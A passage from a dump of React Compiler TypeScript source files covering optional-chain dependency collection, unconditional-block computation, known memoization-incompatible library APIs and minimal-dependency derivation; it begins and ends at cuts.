origLoc,\n      } = original.fullPath;\n      let currNode: PropertyPathNode = registry.getOrCreateIdentifier(\n        identifier,\n        reactive,\n        origLoc,\n      );\n      for (let i = 0; i < origPath.length; i++) {\n        const entry = origPath[i];\n        // If the base is known to be non-null, replace with a non-optional load\n        const nextEntry: DependencyPathEntry =\n          entry.optional && nodes.has(currNode)\n            ? {property: entry.property, optional: false, loc: entry.loc}\n            : entry;\n        currNode = PropertyPathRegistry.getOrCreatePropertyEntry(\n          currNode,\n          nextEntry,\n        );\n      }\n      if (currNode !== original) {\n        changed = true;\n        optionalChainNodes.delete(original);\n        optionalChainNodes.add(currNode);\n        nodes.delete(original);\n        nodes.add(currNode);\n      }\n    }\n  } while (changed);\n}\n\nfunction getAssumedInvokedFunctions(\n  fn: HIRFunction,\n  temporaries: Map<\n    IdentifierId,\n    {fn: LoweredFunction; mayInvoke: Set<LoweredFunction>}\n  > = new Map(),\n): ReadonlySet<LoweredFunction> {\n  const hoistableFunctions = new Set<LoweredFunction>();\n  /**\n   * Step 1: Conservatively collect identifier to function expression mappings\n   */\n  for (const block of fn.body.blocks.values()) {\n    for (const {lvalue, value} of block.instructions) {\n      /**\n       * Conservatively only match function expressions which can have guaranteed ssa.\n       * ObjectMethods and ObjectProperties do not.\n       */\n      if (value.kind === 'FunctionExpression') {\n        temporaries.set(lvalue.identifier.id, {\n          fn: value.loweredFunc,\n          mayInvoke: new Set(),\n        });\n      } else if (value.kind === 'StoreLocal') {\n        const lvalue = value.lvalue.place.identifier;\n        const maybeLoweredFunc = temporaries.get(value.value.identifier.id);\n        if (maybeLoweredFunc != null) {\n          temporaries.set(lvalue.id, maybeLoweredFunc);\n        }\n      } else if (value.kind === 'LoadLocal') {\n        const maybeLoweredFunc = temporaries.get(value.place.identifier.id);\n        if (maybeLoweredFunc != null) {\n          temporaries.set(lvalue.identifier.id, maybeLoweredFunc);\n        }\n      }\n    }\n  }\n  /**\n   * Step 2: Forward pass to do analysis of assumed function calls. Note that\n   * this is conservative and does not count indirect references through\n   * containers (e.g. `return {cb: () => {...}})`).\n   */\n  for (const block of fn.body.blocks.values()) {\n    for (const {lvalue, value} of block.instructions) {\n      if (value.kind === 'CallExpression') {\n        const callee = value.callee;\n        const maybeHook = getHookKind(fn.env, callee.identifier);\n        const maybeLoweredFunc = temporaries.get(callee.identifier.id);\n        if (maybeLoweredFunc != null) {\n          // Direct calls\n          hoistableFunctions.add(maybeLoweredFunc.fn);\n        } else if (maybeHook != null) {\n          /**\n           * Assume arguments to all hooks are safe to invoke\n           */\n          for (const arg of value.args) {\n            if (arg.kind === 'Identifier') {\n              const maybeLoweredFunc = temporaries.get(arg.identifier.id);\n              if (maybeLoweredFunc != null) {\n                hoistableFunctions.add(maybeLoweredFunc.fn);\n              }\n            }\n          }\n        }\n      } else if (value.kind === 'JsxExpression') {\n        /**\n         * Assume JSX attributes and children are safe to invoke\n         */\n        for (const attr of value.props) {\n          if (attr.kind === 'JsxSpreadAttribute') {\n            continue;\n          }\n          const maybeLoweredFunc = temporaries.get(attr.place.identifier.id);\n          if (maybeLoweredFunc != null) {\n            hoistableFunctions.add(maybeLoweredFunc.fn);\n          }\n        }\n        for (const child of value.children ?? []) {\n          const maybeLoweredFunc = temporaries.get(child.identifier.id);\n          if (maybeLoweredFunc != null) {\n            hoistableFunctions.add(maybeLoweredFunc.fn);\n          }\n        }\n      } else if (value.kind === 'FunctionExpression') {\n        /**\n         * Recursively traverse into other function expressions which may invoke\n         * or pass already declared functions to react (e.g. as JSXAttributes).\n         *\n         * If lambda A calls lambda B, we assume lambda B is safe to invoke if\n         * lambda A is -- even if lambda B is conditionally called. (see\n         * `conditional-call-chain` fixture for example).\n         */\n        const loweredFunc = value.loweredFunc.func;\n        const lambdasCalled = getAssumedInvokedFunctions(\n          loweredFunc,\n          temporaries,\n        );\n        const maybeLoweredFunc = temporaries.get(lvalue.identifier.id);\n        if (maybeLoweredFunc != null) {\n          for (const called of lambdasCalled) {\n            maybeLoweredFunc.mayInvoke.add(called);\n          }\n        }\n      }\n    }\n    if (block.terminal.kind === 'return') {\n      /**\n       * Assume directly returned functions are safe to call\n       */\n      const maybeLoweredFunc = temporaries.get(\n        block.terminal.value.identifier.id,\n      );\n      if (maybeLoweredFunc != null) {\n        hoistableFunctions.add(maybeLoweredFunc.fn);\n      }\n    }\n  }\n\n  for (const [_, {fn, mayInvoke}] of temporaries) {\n    if (hoistableFunctions.has(fn)) {\n      for (const called of mayInvoke) {\n        hoistableFunctions.add(called);\n      }\n    }\n  }\n  return hoistableFunctions;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/CollectOptionalChainDependencies.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError, SourceLocation} from '..';\nimport {assertNonNull} from './CollectHoistablePropertyLoads';\nimport {\n  BlockId,\n  BasicBlock,\n  IdentifierId,\n  ReactiveScopeDependency,\n  BranchTerminal,\n  TInstruction,\n  PropertyLoad,\n  StoreLocal,\n  GotoVariant,\n  TBasicBlock,\n  OptionalTerminal,\n  HIRFunction,\n  DependencyPathEntry,\n  Instruction,\n  Terminal,\n  PropertyLiteral,\n} from './HIR';\nimport {printIdentifier} from './PrintHIR';\n\nexport function collectOptionalChainSidemap(\n  fn: HIRFunction,\n): OptionalChainSidemap {\n  const context: OptionalTraversalContext = {\n    currFn: fn,\n    blocks: fn.body.blocks,\n    seenOptionals: new Set(),\n    processedInstrsInOptional: new Set(),\n    temporariesReadInOptional: new Map(),\n    hoistableObjects: new Map(),\n  };\n  traverseFunction(fn, context);\n  return {\n    temporariesReadInOptional: context.temporariesReadInOptional,\n    processedInstrsInOptional: context.processedInstrsInOptional,\n    hoistableObjects: context.hoistableObjects,\n  };\n}\nexport type OptionalChainSidemap = {\n  /**\n   * Stores the correct property mapping (e.g. `a?.b` instead of `a.b`) for\n   * dependency calculation. Note that we currently do not store anything on\n   * outer phi nodes.\n   */\n  temporariesReadInOptional: ReadonlyMap<IdentifierId, ReactiveScopeDependency>;\n  /**\n   * Records instructions (PropertyLoads, StoreLocals, and test terminals)\n   * processed in this pass. When extracting dependencies in\n   * PropagateScopeDependencies, these instructions are skipped.\n   *\n   * E.g. given a?.b\n   * ```\n   * bb0\n   *   $0 = LoadLocal 'a'\n   *   test $0 then=bb1         <- Avoid adding dependencies from these instructions, as\n   * bb1                           the sidemap produced by readOptionalBlock already maps\n   *   $1 = PropertyLoad $0.'b' <- $1 and $2 back to a?.b. Instead, we want to add a?.b\n   *   StoreLocal $2 = $1       <- as a dependency when $1 or $2 are later used in either\n   *                                 - an unhoistable expression within an outer optional\n   *                                   block e.g. MethodCall\n   *                                 - a phi node (if the entire optional value is hoistable)\n   * ```\n   *\n   * Note that mapping blockIds to their evaluated dependency path does not\n   * work, since values produced by inner optional chains may be referenced in\n   * outer ones\n   * ```\n   * a?.b.c()\n   *  ->\n   * bb0\n   *   $0 = LoadLocal 'a'\n   *   test $0 then=bb1\n   * bb1\n   *   $1 = PropertyLoad $0.'b'\n   *   StoreLocal $2 = $1\n   *   goto bb2\n   * bb2\n   *   test $2 then=bb3\n   * bb3:\n   *   $3 = PropertyLoad $2.'c'\n   *   StoreLocal $4 = $3\n   *   goto bb4\n   * bb4\n   *   test $4 then=bb5\n   * bb5:\n   *   $5 = MethodCall $2.$4() <--- here, we want to take a dep on $2 and $4!\n   * ```\n   *\n   * Also note that InstructionIds are not unique across inner functions.\n   */\n  processedInstrsInOptional: ReadonlySet<Instruction | Terminal>;\n  /**\n   * Records optional chains for which we can safely evaluate non-optional\n   * PropertyLoads. e.g. given `a?.b.c`, we can evaluate any load from `a?.b` at\n   * the optional terminal in bb1.\n   * ```js\n   * bb1:\n   *   ...\n   *   Optional optional=false test=bb2 fallth=...\n   * bb2:\n   *   Optional optional=true test=bb3 fallth=...\n   * ...\n   * ```\n   */\n  hoistableObjects: ReadonlyMap<BlockId, ReactiveScopeDependency>;\n};\n\ntype OptionalTraversalContext = {\n  currFn: HIRFunction;\n  blocks: ReadonlyMap<BlockId, BasicBlock>;\n\n  // Track optional blocks to avoid outer calls into nested optionals\n  seenOptionals: Set<BlockId>;\n\n  processedInstrsInOptional: Set<Instruction | Terminal>;\n  temporariesReadInOptional: Map<IdentifierId, ReactiveScopeDependency>;\n  hoistableObjects: Map<BlockId, ReactiveScopeDependency>;\n};\n\nfunction traverseFunction(\n  fn: HIRFunction,\n  context: OptionalTraversalContext,\n): void {\n  for (const [_, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      if (\n        instr.value.kind === 'FunctionExpression' ||\n        instr.value.kind === 'ObjectMethod'\n      ) {\n        traverseFunction(instr.value.loweredFunc.func, {\n          ...context,\n          currFn: instr.value.loweredFunc.func,\n          blocks: instr.value.loweredFunc.func.body.blocks,\n        });\n      }\n    }\n    if (\n      block.terminal.kind === 'optional' &&\n      !context.seenOptionals.has(block.id)\n    ) {\n      traverseOptionalBlock(\n        block as TBasicBlock<OptionalTerminal>,\n        context,\n        null,\n      );\n    }\n  }\n}\n/**\n * Match the consequent and alternate blocks of an optional.\n * @returns propertyload computed by the consequent block, or null if the\n * consequent block is not a simple PropertyLoad.\n */\nfunction matchOptionalTestBlock(\n  terminal: BranchTerminal,\n  blocks: ReadonlyMap<BlockId, BasicBlock>,\n): {\n  consequentId: IdentifierId;\n  property: PropertyLiteral;\n  propertyId: IdentifierId;\n  storeLocalInstr: Instruction;\n  consequentGoto: BlockId;\n  propertyLoadLoc: SourceLocation;\n} | null {\n  const consequentBlock = assertNonNull(blocks.get(terminal.consequent));\n  if (\n    consequentBlock.instructions.length === 2 &&\n    consequentBlock.instructions[0].value.kind === 'PropertyLoad' &&\n    consequentBlock.instructions[1].value.kind === 'StoreLocal'\n  ) {\n    const propertyLoad: TInstruction<PropertyLoad> = consequentBlock\n      .instructions[0] as TInstruction<PropertyLoad>;\n    const storeLocal: StoreLocal = consequentBlock.instructions[1].value;\n    const storeLocalInstr = consequentBlock.instructions[1];\n    CompilerError.invariant(\n      propertyLoad.value.object.identifier.id === terminal.test.identifier.id,\n      {\n        reason:\n          '[OptionalChainDeps] Inconsistent optional chaining property load',\n        description: `Test=${printIdentifier(terminal.test.identifier)} PropertyLoad base=${printIdentifier(propertyLoad.value.object.identifier)}`,\n        loc: propertyLoad.loc,\n      },\n    );\n\n    CompilerError.invariant(\n      storeLocal.value.identifier.id === propertyLoad.lvalue.identifier.id,\n      {\n        reason: '[OptionalChainDeps] Unexpected storeLocal',\n        loc: propertyLoad.loc,\n      },\n    );\n    if (\n      consequentBlock.terminal.kind !== 'goto' ||\n      consequentBlock.terminal.variant !== GotoVariant.Break\n    ) {\n      return null;\n    }\n    const alternate = assertNonNull(blocks.get(terminal.alternate));\n\n    CompilerError.invariant(\n      alternate.instructions.length === 2 &&\n        alternate.instructions[0].value.kind === 'Primitive' &&\n        alternate.instructions[1].value.kind === 'StoreLocal',\n      {\n        reason: 'Unexpected alternate structure',\n        loc: terminal.loc,\n      },\n    );\n\n    return {\n      consequentId: storeLocal.lvalue.place.identifier.id,\n      property: propertyLoad.value.property,\n      propertyId: propertyLoad.lvalue.identifier.id,\n      storeLocalInstr,\n      consequentGoto: consequentBlock.terminal.block,\n      propertyLoadLoc: propertyLoad.loc,\n    };\n  }\n  return null;\n}\n\n/**\n * Traverse into the optional block and all transitively referenced blocks to\n * collect sidemaps of optional chain dependencies.\n *\n * @returns the IdentifierId representing the optional block if the block and\n * all transitively referenced optional blocks precisely represent a chain of\n * property loads. If any part of the optional chain is not hoistable, returns\n * null.\n */\nfunction traverseOptionalBlock(\n  optional: TBasicBlock<OptionalTerminal>,\n  context: OptionalTraversalContext,\n  outerAlternate: BlockId | null,\n): IdentifierId | null {\n  context.seenOptionals.add(optional.id);\n  const maybeTest = context.blocks.get(optional.terminal.test)!;\n  let test: BranchTerminal;\n  let baseObject: ReactiveScopeDependency;\n  if (maybeTest.terminal.kind === 'branch') {\n    CompilerError.invariant(optional.terminal.optional, {\n      reason: '[OptionalChainDeps] Expect base case to be always optional',\n      loc: optional.terminal.loc,\n    });\n    /**\n     * Optional base expressions are currently within value blocks which cannot\n     * be interrupted by scope boundaries. As such, the only dependencies we can\n     * hoist out of optional chains are property load chains with no intervening\n     * instructions.\n     *\n     * Ideally, we would be able to flatten base instructions out of optional\n     * blocks, but this would require changes to HIR.\n     *\n     * For now, only match base expressions that are straightforward\n     * PropertyLoad chains\n     */\n    if (\n      maybeTest.instructions.length === 0 ||\n      maybeTest.instructions[0].value.kind !== 'LoadLocal'\n    ) {\n      return null;\n    }\n    const path: Array<DependencyPathEntry> = [];\n    for (let i = 1; i < maybeTest.instructions.length; i++) {\n      const instrVal = maybeTest.instructions[i].value;\n      const prevInstr = maybeTest.instructions[i - 1];\n      if (\n        instrVal.kind === 'PropertyLoad' &&\n        instrVal.object.identifier.id === prevInstr.lvalue.identifier.id\n      ) {\n        path.push({\n          property: instrVal.property,\n          optional: false,\n          loc: instrVal.loc,\n        });\n      } else {\n        return null;\n      }\n    }\n    CompilerError.invariant(\n      maybeTest.terminal.test.identifier.id ===\n        maybeTest.instructions.at(-1)!.lvalue.identifier.id,\n      {\n        reason: '[OptionalChainDeps] Unexpected test expression',\n        loc: maybeTest.terminal.loc,\n      },\n    );\n    baseObject = {\n      identifier: maybeTest.instructions[0].value.place.identifier,\n      reactive: maybeTest.instructions[0].value.place.reactive,\n      path,\n      loc: maybeTest.instructions[0].value.place.loc,\n    };\n    test = maybeTest.terminal;\n  } else if (maybeTest.terminal.kind === 'optional') {\n    /**\n     * This is either\n     * - <inner_optional>?.property (optional=true)\n     * - <inner_optional>.property  (optional=false)\n     * - <inner_optional> <other operation>\n     * - a optional base block with a separate nested optional-chain (e.g. a(c?.d)?.d)\n     */\n    const testBlock = context.blocks.get(maybeTest.terminal.fallthrough)!;\n    /**\n     * Fallthrough of the inner optional should be a block with no\n     * instructions, terminating with Test($<temporary written to from\n     * StoreLocal>)\n     */\n    if (testBlock.terminal.kind !== 'branch') {\n      return null;\n    }\n    /**\n     * Recurse into inner optional blocks to collect inner optional-chain\n     * expressions, regardless of whether we can match the outer one to a\n     * PropertyLoad.\n     */\n    const innerOptional = traverseOptionalBlock(\n      maybeTest as TBasicBlock<OptionalTerminal>,\n      context,\n      testBlock.terminal.alternate,\n    );\n    if (innerOptional == null) {\n      return null;\n    }\n\n    /**\n     * Check that the inner optional is part of the same optional-chain as the\n     * outer one. This is not guaranteed, e.g. given a(c?.d)?.d\n     * ```\n     * bb0:\n     *   Optional test=bb1\n     * bb1:\n     *   $0 = LoadLocal a               <-- part 1 of the outer optional-chaining base\n     *   Optional test=bb2 fallth=bb5   <-- start of optional chain for c?.d\n     * bb2:\n     *   ... (optional chain for c?.d)\n     * ...\n     * bb5:\n     *   $1 = phi(c.d, undefined)       <-- part 2 (continuation) of the outer optional-base\n     *   $2 = Call $0($1)\n     *   Branch $2 ...\n     * ```\n     */\n    if (testBlock.terminal.test.identifier.id !== innerOptional) {\n      return null;\n    }\n\n    if (!optional.terminal.optional) {\n      /**\n       * If this is an non-optional load participating in an optional chain\n       * (e.g. loading the `c` property in `a?.b.c`), record that PropertyLoads\n       * from the inner optional value are hoistable.\n       */\n      context.hoistableObjects.set(\n        optional.id,\n        assertNonNull(context.temporariesReadInOptional.get(innerOptional)),\n      );\n    }\n    baseObject = assertNonNull(\n      context.temporariesReadInOptional.get(innerOptional),\n    );\n    test = testBlock.terminal;\n  } else {\n    return null;\n  }\n\n  if (test.alternate === outerAlternate) {\n    CompilerError.invariant(optional.instructions.length === 0, {\n      reason:\n        '[OptionalChainDeps] Unexpected instructions an inner optional block. ' +\n        'This indicates that the compiler may be incorrectly concatenating two unrelated optional chains',\n      loc: optional.terminal.loc,\n    });\n  }\n  const matchConsequentResult = matchOptionalTestBlock(test, context.blocks);\n  if (!matchConsequentResult) {\n    // Optional chain consequent is not hoistable e.g. a?.[computed()]\n    return null;\n  }\n  CompilerError.invariant(\n    matchConsequentResult.consequentGoto === optional.terminal.fallthrough,\n    {\n      reason: '[OptionalChainDeps] Unexpected optional goto-fallthrough',\n      description: `${matchConsequentResult.consequentGoto} != ${optional.terminal.fallthrough}`,\n      loc: optional.terminal.loc,\n    },\n  );\n  const load: ReactiveScopeDependency = {\n    identifier: baseObject.identifier,\n    reactive: baseObject.reactive,\n    path: [\n      ...baseObject.path,\n      {\n        property: matchConsequentResult.property,\n        optional: optional.terminal.optional,\n        loc: matchConsequentResult.propertyLoadLoc,\n      },\n    ],\n    loc: matchConsequentResult.propertyLoadLoc,\n  };\n  context.processedInstrsInOptional.add(matchConsequentResult.storeLocalInstr);\n  context.processedInstrsInOptional.add(test);\n  context.temporariesReadInOptional.set(\n    matchConsequentResult.consequentId,\n    load,\n  );\n  context.temporariesReadInOptional.set(matchConsequentResult.propertyId, load);\n  return matchConsequentResult.consequentId;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/ComputeUnconditionalBlocks.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  computePostDominatorTree,\n} from '.';\nimport {CompilerError} from '..';\n\nexport function computeUnconditionalBlocks(fn: HIRFunction): Set<BlockId> {\n  // Construct the set of blocks that is always reachable from the entry block.\n  const unconditionalBlocks = new Set<BlockId>();\n  const dominators = computePostDominatorTree(fn, {\n    /*\n     * Hooks must only be in a consistent order for executions that return normally,\n     * so we opt-in to viewing throw as a non-exit node.\n     */\n    includeThrowsAsExitNode: false,\n  });\n  const exit = dominators.exit;\n  let current: BlockId | null = fn.body.entry;\n  while (current !== null && current !== exit) {\n    CompilerError.invariant(!unconditionalBlocks.has(current), {\n      reason:\n        'Internal error: non-terminating loop in ComputeUnconditionalBlocks',\n      loc: GeneratedSource,\n    });\n    unconditionalBlocks.add(current);\n    current = dominators.get(current);\n  }\n  return unconditionalBlocks;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/DefaultModuleTypeProvider.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Effect, ValueKind} from '..';\nimport {TypeConfig} from './TypeSchema';\n\n/**\n * Libraries developed before we officially documented the [Rules of React](https://react.dev/reference/rules)\n * implement APIs which cannot be memoized safely, either via manual or automatic memoization.\n *\n * Any non-hook API that is designed to be called during render (not events/effects) should be safe to memoize:\n *\n * ```js\n * function Component() {\n *   const {someFunction} = useLibrary();\n *   // it should always be safe to memoize functions like this\n *  const result = useMemo(() => someFunction(), [someFunction]);\n * }\n * ```\n *\n * However, some APIs implement \"interior mutability\" — mutating values rather than copying into a new value\n * and setting state with the new value. Such functions (`someFunction()` in the example) could return different\n * values even though the function itself is the same object. This breaks memoization, since React relies on\n * the outer object (or function) changing if part of its value has changed.\n *\n * Given that we didn't have the Rules of React precisely documented prior to the introduction of React compiler,\n * it's understandable that some libraries accidentally shipped APIs that break this rule. However, developers\n * can easily run into pitfalls with these APIs. They may manually memoize them, which can break their app. Or\n * they may try using React Compiler, and think that the compiler has broken their code.\n *\n * To help ensure that developers can successfully use the compiler with existing code, this file teaches the\n * compiler about specific APIs that are known to be incompatible with memoization. We've tried to be as precise\n * as possible.\n *\n * The React team is open to collaborating with library authors to help develop compatible versions of these APIs,\n * and we have already reached out to the teams who own any API listed here to ensure they are aware of the issue.\n */\nexport function defaultModuleTypeProvider(\n  moduleName: string,\n): TypeConfig | null {\n  switch (moduleName) {\n    case 'react-hook-form': {\n      return {\n        kind: 'object',\n        properties: {\n          useForm: {\n            kind: 'hook',\n            returnType: {\n              kind: 'object',\n              properties: {\n                // Only the `watch()` function returned by react-hook-form's `useForm()` API is incompatible\n                watch: {\n                  kind: 'function',\n                  positionalParams: [],\n                  restParam: Effect.Read,\n                  calleeEffect: Effect.Read,\n                  returnType: {kind: 'type', name: 'Any'},\n                  returnValueKind: ValueKind.Mutable,\n                  knownIncompatible: `React Hook Form's \\`useForm()\\` API returns a \\`watch()\\` function which cannot be memoized safely.`,\n                },\n              },\n            },\n          },\n        },\n      };\n    }\n    case '@tanstack/react-table': {\n      return {\n        kind: 'object',\n        properties: {\n          /*\n           * Many of the properties of `useReactTable()`'s return value are incompatible, so we mark the entire hook\n           * as incompatible\n           */\n          useReactTable: {\n            kind: 'hook',\n            positionalParams: [],\n            restParam: Effect.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            knownIncompatible: `TanStack Table's \\`useReactTable()\\` API returns functions that cannot be memoized safely`,\n          },\n        },\n      };\n    }\n    case '@tanstack/react-virtual': {\n      return {\n        kind: 'object',\n        properties: {\n          /*\n           * Many of the properties of `useVirtualizer()`'s return value are incompatible, so we mark the entire hook\n           * as incompatible\n           */\n          useVirtualizer: {\n            kind: 'hook',\n            positionalParams: [],\n            restParam: Effect.Read,\n            returnType: {kind: 'type', name: 'Any'},\n            knownIncompatible: `TanStack Virtual's \\`useVirtualizer()\\` API returns functions that cannot be memoized safely`,\n          },\n        },\n      };\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/DeriveMinimalDependenciesHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  DependencyPathEntry,\n  GeneratedSource,\n  Identifier,\n  PropertyLiteral,\n  ReactiveScopeDependency,\n  SourceLocation,\n} from '../HIR';\nimport {printIdentifier} from '../HIR/PrintHIR';\n\n/**\n * Simpler fork of DeriveMinimalDependencies, see PropagateScopeDependenciesHIR\n * for detailed explanation.\n */\nexport class ReactiveScopeDependencyTreeHIR {\n  /**\n   * Paths from which we can hoist PropertyLoads. If an `identifier`,\n   * `identifier.path`, or `identifier?.path` is in this map, it is safe to\n   * evaluate (non-optional) PropertyLoads from.\n   */\n  #hoistableObjects: Map<Identifier, HoistableNode & {reactive: boolean}> =\n    new Map();\n  #deps: Map<Identifier, DependencyNode & {reactive: boolean}> = new Map();\n\n  /**\n   * @param hoistableObjects a set of paths from which we can safely evaluate\n   * PropertyLoads. Note that we expect these to not contain duplicates (e.g.\n   * both `a?.b` and `a.b`) only because CollectHoistablePropertyLoads merges\n   * duplicates when traversing the CFG.\n   */\n  constructor(hoistableObjects: Iterable<ReactiveScopeDependency>) {\n    for (const {path, identifier, reactive, loc} of hoistableObjects) {\n      let currNode = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(\n        identifier,\n        reactive,\n        this.#hoistableObjects,\n        path.length > 0 && path[0].optional ? 'Optional' : 'NonNull',\n        loc,\n      );\n\n      for (let i = 0; i < path.length; i++) {\n        const prevAccessType = currNode.properties.get(\n          path[i].property,\n        )?.accessType;\n        const accessType =\n          i + 1 < path.length && path[i + 1].optional ? 'Optional' : 'NonNull';\n        CompilerError.invariant(\n          prevAccessType == null || prevAccessType === accessType,\n          {\n            reason: 'Conflicting access types',\n            loc: GeneratedSource,\n          },\n        );\n        let nextNode = currNode.properties.get(path[i].property);\n        if (nextNode == null) {\n          nextNode = {\n            properties: new Map(),\n            accessType,\n            loc: path[i].loc,\n          };\n          currNode.properties.set(path[i].property, nextNode);\n        }\n        currNode = nextNode;\n      }\n    }\n  }\n\n  static #getOrCreateRoot<T extends string>(\n    identifier: Identifier,\n    reactive: boolean,\n    roots: Map<Identifier, TreeNode<T> & {reactive: boolean}>,\n    defaultAccessType: T,\n    loc: SourceLocation,\n  ): TreeNode<T> {\n    // roots can always be accessed unconditionally in JS\n    let rootNode = roots.get(identifier);\n\n    if (rootNode === undefined) {\n      rootNode = {\n        properties: new Map(),\n        reactive,\n        accessType: defaultAccessType,\n        loc,\n      };\n      roots.set(identifier, rootNode);\n    } else {\n      CompilerError.invariant(reactive === rootNode.reactive, {\n        reason: '[DeriveMinimalDependenciesHIR] Conflicting reactive root flag',\n        description: `Identifier ${printIdentifier(identifier)}`,\n        loc: GeneratedSource,\n      });\n    }\n    return rootNode;\n  }\n\n  /**\n   * Join a dependency with `#hoistableObjects` to record the hoistable\n   * dependency. This effectively truncates @param dep to its maximal\n   * safe-to-evaluate subpath\n   */\n  addDependency(dep: ReactiveScopeDependency): void {\n    const {identifier, reactive, path, loc} = dep;\n    let depCursor = ReactiveScopeDependencyTreeHIR.#getOrCreateRoot(\n      identifier,\n      reactive,\n      this.#deps,\n      PropertyAccessType.UnconditionalAccess,\n      loc,\n    );\n    /**\n     * hoistableCursor is null if depCursor is not an object we can hoist\n     * property reads from otherwise, it represents the same node in the\n     * hoistable / cfg-informed tree\n     */\n    let hoistableCursor: HoistableNode | undefined =\n      this.#hoistableObjects.get(identifier);\n\n    // All properties read 'on the way' to a dependency are marked as 'access'\n    for (const entry of path) {\n      let nextHoistableCursor: HoistableNode | undefined;\n      let nextDepCursor: DependencyNode;\n      if (entry.optional) {\n        /**\n         * No need to check the access type since we can match both optional or non-optionals\n         * in the hoistable\n         *  e.g. a?.b<rest> is hoistable if a.b<rest> is hoistable\n         */\n        if (hoistableCursor != null) {\n          nextHoistableCursor = hoistableCursor?.properties.get(entry.property);\n        }\n\n        let accessType;\n        if (\n          hoistableCursor != null &&\n          hoistableCursor.accessType === 'NonNull'\n        ) {\n          /**\n           * For an optional chain dep `a?.b`: if the hoistable tree only\n           * contains `a`, we can keep either `a?.b` or 'a.b' as a dependency.\n           * (note that we currently do the latter for perf)\n           */\n          accessType = PropertyAccessType.UnconditionalAccess;\n        } else {\n          /**\n           * Given that it's safe to evaluate `depCursor` and optional load\n           * never throws, it's also safe to evaluate `depCursor?.entry`\n           */\n          accessType = PropertyAccessType.OptionalAccess;\n        }\n        nextDepCursor = makeOrMergeProperty(\n          depCursor,\n          entry.property,\n          accessType,\n          entry.loc,\n        );\n      } else if (\n        hoistableCursor != null &&\n        hoistableCursor.accessType === 'NonNull'\n      ) {\n        nextHoistableCursor = hoistableCursor.properties.get(entry.property);\n        nextDepCursor = makeOrMergeProperty(\n          depCursor,\n          entry.property,\n          PropertyAccessType.UnconditionalAccess,\n          entry.loc,\n        );\n      } else {\n        /**\n         * Break to truncate the dependency on its first non-optional entry that PropertyLoads are not hoistable from\n         */\n        break;\n      }\n      depCursor = nextDepCursor;\n      hoistableCursor = nextHoistableCursor;\n    }\n    // mark the final node as a dependency\n    depCursor.accessType = merge(\n      depCursor.accessType,\n      PropertyAccessType.OptionalDependency,\n    );\n  }\n\n  deriveMinimalDependencies(): Set<ReactiveScopeDependency> {\n    const results = new Set<ReactiveScopeDependency>();\n    for (const [rootId, rootNode] of this.#deps.entries()) {\n      collectMinimalDependenciesInSubtree(\n        rootNode,\n        rootNode.reactive,\n        rootId,\n        [],\n        results,\n      );\n    }\n\n    return results;\n  }\n\n  /*\n   * Prints dependency tree to string for debugging.\n   * @param includeAccesses\n   * @returns string representation of DependencyTree\n   */\n  printDeps(includeAccesses: boolean): string {\n    let res: Array<Array<string>> = [];\n\n    for (const [rootId, rootNode] of this.#deps.entries()) {\n      const rootResults = printSubtree(rootNode, includeAccesses).map(\n        result => `${printIdentifier(rootId)}.${result}`,\n      );\n      res.push(rootResults);\n    }\n    return res.flat().join('\\n');\n  }\n\n  static debug<T extends string>(roots: Map<Identifier, TreeNode<T>>): string {\n    const buf: Array<string> = [`tree() [`];\n    for (const [rootId, rootNode] of roots) {\n      buf.push(`${printIdentifier(rootId)} (${rootNode.accessType}):`);\n      this.#debugImpl(buf, rootNode, 1);\n    }\n    buf.push(']');\n    return buf.length > 2 ? buf.join('\\n') : buf.join('');\n  }\n\n  static #debugImpl<T extends string>(\n    buf: Array<string>,\n    node: TreeNode<T>,\n    depth: number = 0,\n  ): void {\n    for (const [property, childNode] of node.properties) {\n      buf.push(`${'  '.repeat(depth)}.${property} (${childNode.accessType}):`);\n      this.#debugImpl(buf, childNode, depth + 1);\n    }\n  }\n}\n\n/*\n * Enum representing the access type of single property on a parent object.\n * We distinguish on two independent axes:\n * Optional / Unconditional:\n *    - whether this property is an optional load (within an optional chain)\n * Access / Dependency:\n *    - Access: this property is read on the path of a dependency. We do not\n *      need to track change variables for accessed properties. Tracking accesses\n *      helps Forget do more granular dependency tracking.\n *    - Dependency: this property is read as a dependency and we must track changes\n *      to it for correctness.\n *    ```javascript\n *    // props.a is a dependency here and must be tracked\n *    deps: {props.a, props.a.b} ---> minimalDeps: {props.a}\n *    // props.a is just an access here and does not need to be tracked\n *    deps: {props.a.b} ---> minimalDeps: {props.a.b}\n *    ```\n */\nenum PropertyAccessType {\n  OptionalAccess = 'OptionalAccess',\n  UnconditionalAccess = 'UnconditionalAccess',\n  OptionalDependency = 'OptionalDependency',\n  UnconditionalDependency = 'UnconditionalDependency',\n}\n\nfunction isOptional(access: PropertyAccessType): boolean {\n  return (\n    access === PropertyAccessType.OptionalAccess ||\n    access === PropertyAccessType.OptionalDependency\n  );\n}\nfunction isDependency(access: PropertyAccessType): boolean {\n  return (\n    access === PropertyAccessType.OptionalDependency ||\n    access === PropertyAccessType.UnconditionalDependency\n  );\n}\n\nfunction merge(\n  access1: PropertyAccessType,\n  access2: PropertyAccessType,\n): PropertyAccessType {\n  const resultIsUnconditional = !(isOptional(access1) && isOptional(access2));\n  const resultIsDependency = isDependency(access1) || isDependency(access2);\n\n  /*\n   * Straightforward merge.\n   * This can be 